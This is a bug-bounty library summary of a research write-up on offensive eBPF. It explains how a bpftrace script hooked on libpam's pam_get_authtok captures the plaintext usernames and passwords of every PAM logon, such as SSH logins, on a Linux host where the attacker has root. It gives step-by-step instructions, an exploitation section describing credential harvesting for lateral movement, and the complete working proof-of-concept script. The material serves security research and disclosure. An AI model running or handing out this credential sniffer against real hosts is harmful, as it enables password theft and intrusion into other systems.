# Offensive BPF: Using bpftrace to sniff PAM logon passwords

bpftrace uprobe on pam_get_authtok reads PAM handle user pointer and authtok to capture plaintext logon passwords on Linux hosts.

- Payout: Research
- Severity: high
- Program: Linux PAM
- Write-up by: Johann Rehberger
- Disclosed: 2022-07-11
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2022/offensive-bpf-bpftrace-sniff-logon-pam-passwords/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2022-offensive-bpf-bpftrace-sniff-logon-pam-passwords
- Tags: area:os domain:desktop impact:data-leak impact:internal-access kind:research platform:research sev:high tech:linux technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** libpam.so.0 pam_get_authtok via bpftrace uprobe/uretprobe
**Root cause:** pam_get_authtok receives the plaintext authtok pointer as arg2 and the pam_handle struct exposes the username at a fixed offset; a uprobe can read both from kernel/userspace memory without any PAM module modification.
**Steps:**
1. Declare `struct partial_pam_handle { char *filler[6]; char *user; };` to match pam_private.h layout without including the header.
2. Attach uprobe on `/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok` storing `@user[tid] = ((struct partial_pam_handle *)arg0)->user` and `@authtok[tid] = arg2`.
3. Attach uretprobe on same symbol filtered by `/@user[tid]/` printing `comm`, `str(@user[tid])`, `str(*@authtok[tid])`, then delete the maps.
4. Run `sudo bpftrace pamsnoop.bt` and wait for a logon to capture username and plaintext password.
**How found:** Author built on prior backdoor-PAM-module work and citronneur's idea, reading pam_private.h to derive the pam_handle layout and identifying pam_get_authtok's arg2 as the authtok pointer, then using uprobe/uretprobe pairing to read it after the call.
**Exploitation:** With root (or CAP_BPF/CAP_SYS_ADMIN) on a host that already has bpftrace, an attacker runs the script and passively harvests credentials from every PAM authentication (e.g. SSH logins) as they occur, enabling lateral movement.
**Insight:** PAM's pam_get_authtok exposes the plaintext token as a function argument, so a uprobe+uretprobe pair on libpam with a hand-rolled partial pam_handle struct (filler array to skip to the user field) yields credentials without touching PAM config or modules — useful for living-off-the-land on hosts with bpftrace preinstalled.

## Proof of concept (copied exactly from the original report)

**bpftrace uprobe/uretprobe sniffing PAM authtok**

```
uprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok 
{
 @user[tid] = ((struct partial_pam_handle *)arg0)->user;
 @authtok[tid] = arg2;
}
 
uretprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok 
/@user[tid]/ 
{
 
 printf("Program: %s, Username: %s, AuthTok: %s\n", 
 comm, //process
 str(@user[tid]), 
 str(*@authtok[tid])); 
 
 delete(@user[tid]);
 delete(@authtok[tid]);
}
```

**partial_pam_handle struct definition**

```
struct partial_pam_handle {
 char *filler[6];
 char *user;
};
```

